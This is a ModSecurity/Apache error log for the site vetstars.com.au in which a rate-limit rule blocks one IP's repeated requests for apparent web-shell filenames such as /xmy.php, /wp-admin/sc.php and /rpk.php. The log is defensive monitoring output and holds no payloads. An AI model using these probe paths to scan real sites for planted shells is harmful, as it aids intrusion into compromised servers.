[Sat Feb 28 21:32:04.476483 2026] [:error] [pid 52460:tid 52485] [client 4.204.200.32:56038] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xmy.php"] [unique_id "aaLuVLLWOogAgHGh62SS1gAAAZY"]
[Sat Feb 28 21:32:04.924661 2026] [:error] [pid 39183:tid 39212] [client 4.204.200.32:25539] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xmy.php"] [unique_id "aaLuVBCf4HvhVePw3LZTSQAAABQ"]
[Sat Feb 28 21:32:05.341833 2026] [:error] [pid 49763:tid 49784] [client 4.204.200.32:25552] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fun.php"] [unique_id "aaLuVbTHSOG_yf2PpqF9GAAAAdI"]
[Sat Feb 28 21:32:05.759460 2026] [:error] [pid 52460:tid 52470] [client 4.204.200.32:23766] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fun.php"] [unique_id "aaLuVbLWOogAgHGh62SS3wAAAYc"]
[Sat Feb 28 21:32:06.190750 2026] [:error] [pid 49763:tid 49780] [client 4.204.200.32:25565] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fun.php"] [unique_id "aaLuVrTHSOG_yf2PpqF9IgAAAc4"]
[Sat Feb 28 21:32:06.622148 2026] [:error] [pid 49763:tid 49784] [client 4.204.200.32:56598] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fun.php"] [unique_id "aaLuVrTHSOG_yf2PpqF9JQAAAdI"]
[Sat Feb 28 21:32:07.037221 2026] [:error] [pid 49763:tid 49777] [client 4.204.200.32:23685] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/end.php"] [unique_id "aaLuV7THSOG_yf2PpqF9LwAAAcs"]
[Sat Feb 28 21:32:07.527756 2026] [:error] [pid 49763:tid 49782] [client 4.204.200.32:23723] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/end.php"] [unique_id "aaLuV7THSOG_yf2PpqF9OAAAAdA"]
[Sat Feb 28 21:32:07.961490 2026] [:error] [pid 49763:tid 49788] [client 4.204.200.32:65123] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/end.php"] [unique_id "aaLuV7THSOG_yf2PpqF9PwAAAdY"]
[Sat Feb 28 21:32:08.448782 2026] [:error] [pid 49763:tid 49785] [client 4.204.200.32:23702] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/end.php"] [unique_id "aaLuWLTHSOG_yf2PpqF9SAAAAdM"]
[Sat Feb 28 21:32:08.861373 2026] [:error] [pid 49763:tid 49789] [client 4.204.200.32:56635] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ah25.php"] [unique_id "aaLuWLTHSOG_yf2PpqF9UAAAAdc"]
[Sat Feb 28 21:32:09.348276 2026] [:error] [pid 49763:tid 49789] [client 4.204.200.32:56614] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ah25.php"] [unique_id "aaLuWbTHSOG_yf2PpqF9WAAAAdc"]
[Sat Feb 28 21:32:09.839579 2026] [:error] [pid 49763:tid 49782] [client 4.204.200.32:23779] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ah25.php"] [unique_id "aaLuWbTHSOG_yf2PpqF9YQAAAdA"]
[Sat Feb 28 21:32:10.323853 2026] [:error] [pid 39183:tid 39210] [client 4.204.200.32:56617] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ah25.php"] [unique_id "aaLuWhCf4HvhVePw3LZTTwAAABI"]
[Sat Feb 28 21:32:10.756033 2026] [:error] [pid 49763:tid 49768] [client 4.204.200.32:25577] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/scx.php7"] [unique_id "aaLuWrTHSOG_yf2PpqF9cgAAAcI"]
[Sat Feb 28 21:32:11.308537 2026] [:error] [pid 49763:tid 49770] [client 4.204.200.32:23683] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/scx.php7"] [unique_id "aaLuW7THSOG_yf2PpqF9ewAAAcQ"]
[Sat Feb 28 21:32:11.815382 2026] [:error] [pid 49763:tid 49767] [client 4.204.200.32:23714] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/scx.php7"] [unique_id "aaLuW7THSOG_yf2PpqF9hAAAAcE"]
[Sat Feb 28 21:32:12.250293 2026] [:error] [pid 39183:tid 39211] [client 4.204.200.32:23783] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/scx.php7"] [unique_id "aaLuXBCf4HvhVePw3LZTUQAAABM"]
[Sat Feb 28 21:32:12.733462 2026] [:error] [pid 49763:tid 49766] [client 4.204.200.32:25529] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/error1.php"] [unique_id "aaLuXLTHSOG_yf2PpqF9mQAAAcA"]
[Sat Feb 28 21:32:13.216368 2026] [:error] [pid 49763:tid 49776] [client 4.204.200.32:25581] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/error1.php"] [unique_id "aaLuXbTHSOG_yf2PpqF9pgAAAco"]
[Sat Feb 28 21:32:13.657057 2026] [:error] [pid 49763:tid 49766] [client 4.204.200.32:56031] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/error1.php"] [unique_id "aaLuXbTHSOG_yf2PpqF9rQAAAcA"]
[Sat Feb 28 21:32:14.101986 2026] [:error] [pid 49763:tid 49767] [client 4.204.200.32:25583] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/error1.php"] [unique_id "aaLuXrTHSOG_yf2PpqF9tQAAAcE"]
[Sat Feb 28 21:32:14.560647 2026] [:error] [pid 39183:tid 39205] [client 4.204.200.32:23726] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/thui.php"] [unique_id "aaLuXhCf4HvhVePw3LZTVwAAAA0"]
[Sat Feb 28 21:32:15.007312 2026] [:error] [pid 39184:tid 39226] [client 4.204.200.32:23692] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/thui.php"] [unique_id "aaLuX1tZF9Zd_U7easDJmwAAAEc"]
[Sat Feb 28 21:32:15.439337 2026] [:error] [pid 39183:tid 39207] [client 4.204.200.32:23739] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/thui.php"] [unique_id "aaLuXxCf4HvhVePw3LZTWgAAAA8"]
[Sat Feb 28 21:32:15.911661 2026] [:error] [pid 49763:tid 49767] [client 4.204.200.32:65132] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/thui.php"] [unique_id "aaLuX7THSOG_yf2PpqF9xQAAAcE"]
[Sat Feb 28 21:32:16.366790 2026] [:error] [pid 52460:tid 52484] [client 4.204.200.32:25483] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ff1.php"] [unique_id "aaLuYLLWOogAgHGh62SS8AAAAZU"]
[Sat Feb 28 21:32:16.803600 2026] [:error] [pid 39183:tid 39203] [client 4.204.200.32:23785] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ff1.php"] [unique_id "aaLuYBCf4HvhVePw3LZTYAAAAAs"]
[Sat Feb 28 21:32:17.234622 2026] [:error] [pid 49763:tid 49772] [client 4.204.200.32:65121] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ff1.php"] [unique_id "aaLuYbTHSOG_yf2PpqF90gAAAcY"]
[Sat Feb 28 21:32:17.671707 2026] [:error] [pid 49763:tid 49775] [client 4.204.200.32:23736] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ff1.php"] [unique_id "aaLuYbTHSOG_yf2PpqF92QAAAck"]
[Sat Feb 28 21:32:18.112939 2026] [:error] [pid 52460:tid 52477] [client 4.204.200.32:23737] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/sc.php"] [unique_id "aaLuYrLWOogAgHGh62SS-QAAAY4"]
[Sat Feb 28 21:32:18.541780 2026] [:error] [pid 39292:tid 39300] [client 4.204.200.32:65145] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/sc.php"] [unique_id "aaLuYqIAO5fN7BxyqcGDBgAAAMY"]
[Sat Feb 28 21:32:19.033666 2026] [:error] [pid 39184:tid 39240] [client 4.204.200.32:23694] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/sc.php"] [unique_id "aaLuY1tZF9Zd_U7easDJowAAAFU"]
[Sat Feb 28 21:32:19.463625 2026] [:error] [pid 39184:tid 39229] [client 4.204.200.32:23764] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/sc.php"] [unique_id "aaLuY1tZF9Zd_U7easDJqwAAAEo"]
[Sat Feb 28 21:32:19.887204 2026] [:error] [pid 39292:tid 39315] [client 4.204.200.32:23687] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-act.php"] [unique_id "aaLuY6IAO5fN7BxyqcGDCwAAANU"]
[Sat Feb 28 21:32:20.304549 2026] [:error] [pid 52460:tid 52476] [client 4.204.200.32:25564] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-act.php"] [unique_id "aaLuZLLWOogAgHGh62SS-wAAAY0"]
[Sat Feb 28 21:32:20.726033 2026] [:error] [pid 39183:tid 39202] [client 4.204.200.32:56027] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-act.php"] [unique_id "aaLuZBCf4HvhVePw3LZTZwAAAAo"]
[Sat Feb 28 21:32:21.188269 2026] [:error] [pid 39183:tid 39207] [client 4.204.200.32:23767] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-act.php"] [unique_id "aaLuZRCf4HvhVePw3LZTagAAAA8"]
[Sat Feb 28 21:32:21.613774 2026] [:error] [pid 11791:tid 11800] [client 4.204.200.32:23740] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-the.php"] [unique_id "aaLuZWuX5e1Q32gqxH3KHAAAAQc"]
[Sat Feb 28 21:32:22.029206 2026] [:error] [pid 39183:tid 39196] [client 4.204.200.32:23704] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-the.php"] [unique_id "aaLuZhCf4HvhVePw3LZTcwAAAAQ"]
[Sat Feb 28 21:32:22.447528 2026] [:error] [pid 52460:tid 52484] [client 4.204.200.32:65135] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-the.php"] [unique_id "aaLuZrLWOogAgHGh62STAAAAAZU"]
[Sat Feb 28 21:32:22.868177 2026] [:error] [pid 52460:tid 52485] [client 4.204.200.32:23743] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-the.php"] [unique_id "aaLuZrLWOogAgHGh62STAQAAAZY"]
[Sat Feb 28 21:32:23.330052 2026] [:error] [pid 39183:tid 39207] [client 4.204.200.32:56611] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rpk.php"] [unique_id "aaLuZxCf4HvhVePw3LZTfAAAAA8"]
[Sat Feb 28 21:32:23.751010 2026] [:error] [pid 22194:tid 22220] [client 4.204.200.32:56614] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rpk.php"] [unique_id "aaLuZ36mbajs3bzQGyuoXAAAAVg"]
[Sat Feb 28 21:32:24.178958 2026] [:error] [pid 52460:tid 52472] [client 4.204.200.32:23699] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rpk.php"] [unique_id "aaLuaLLWOogAgHGh62STBgAAAYk"]
[Sat Feb 28 21:32:24.589670 2026] [:error] [pid 39185:tid 39267] [client 4.204.200.32:23803] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rpk.php"] [unique_id "aaLuaBVE-FfM89u7BQalegAAAJU"]
[Sat Feb 28 21:32:25.003513 2026] [:error] [pid 39183:tid 39203] [client 4.204.200.32:56021] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms.php"] [unique_id "aaLuaRCf4HvhVePw3LZThQAAAAs"]
[Sat Feb 28 21:32:25.462012 2026] [:error] [pid 39183:tid 39202] [client 4.204.200.32:25546] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms.php"] [unique_id "aaLuaRCf4HvhVePw3LZTiQAAAAo"]
[Sat Feb 28 21:32:25.893248 2026] [:error] [pid 39183:tid 39193] [client 4.204.200.32:23755] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms.php"] [unique_id "aaLuaRCf4HvhVePw3LZTkQAAAAE"]
[Sat Feb 28 21:32:26.335763 2026] [:error] [pid 39183:tid 39196] [client 4.204.200.32:23710] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ms.php"] [unique_id "aaLuahCf4HvhVePw3LZTlwAAAAQ"]
[Sat Feb 28 21:32:26.753132 2026] [:error] [pid 39183:tid 39202] [client 4.204.200.32:56630] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/155.php"] [unique_id "aaLuahCf4HvhVePw3LZTnQAAAAo"]
[Sat Feb 28 21:32:27.194533 2026] [:error] [pid 39184:tid 39223] [client 4.204.200.32:25553] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/155.php"] [unique_id "aaLua1tZF9Zd_U7easDJwgAAAEQ"]
[Sat Feb 28 21:32:27.623952 2026] [:error] [pid 49763:tid 49784] [client 4.204.200.32:23691] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/155.php"] [unique_id "aaLua7THSOG_yf2PpqF98gAAAdI"]
[Sat Feb 28 21:32:28.061244 2026] [:error] [pid 39185:tid 39252] [client 4.204.200.32:65147] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/155.php"] [unique_id "aaLubBVE-FfM89u7BQalewAAAIY"]
[Sat Feb 28 21:32:28.604235 2026] [:error] [pid 39183:tid 39203] [client 4.204.200.32:25573] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/e.php"] [unique_id "aaLubBCf4HvhVePw3LZTqgAAAAs"]
[Sat Feb 28 21:32:29.022142 2026] [:error] [pid 52460:tid 52485] [client 4.204.200.32:25544] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/e.php"] [unique_id "aaLubbLWOogAgHGh62STFQAAAZY"]
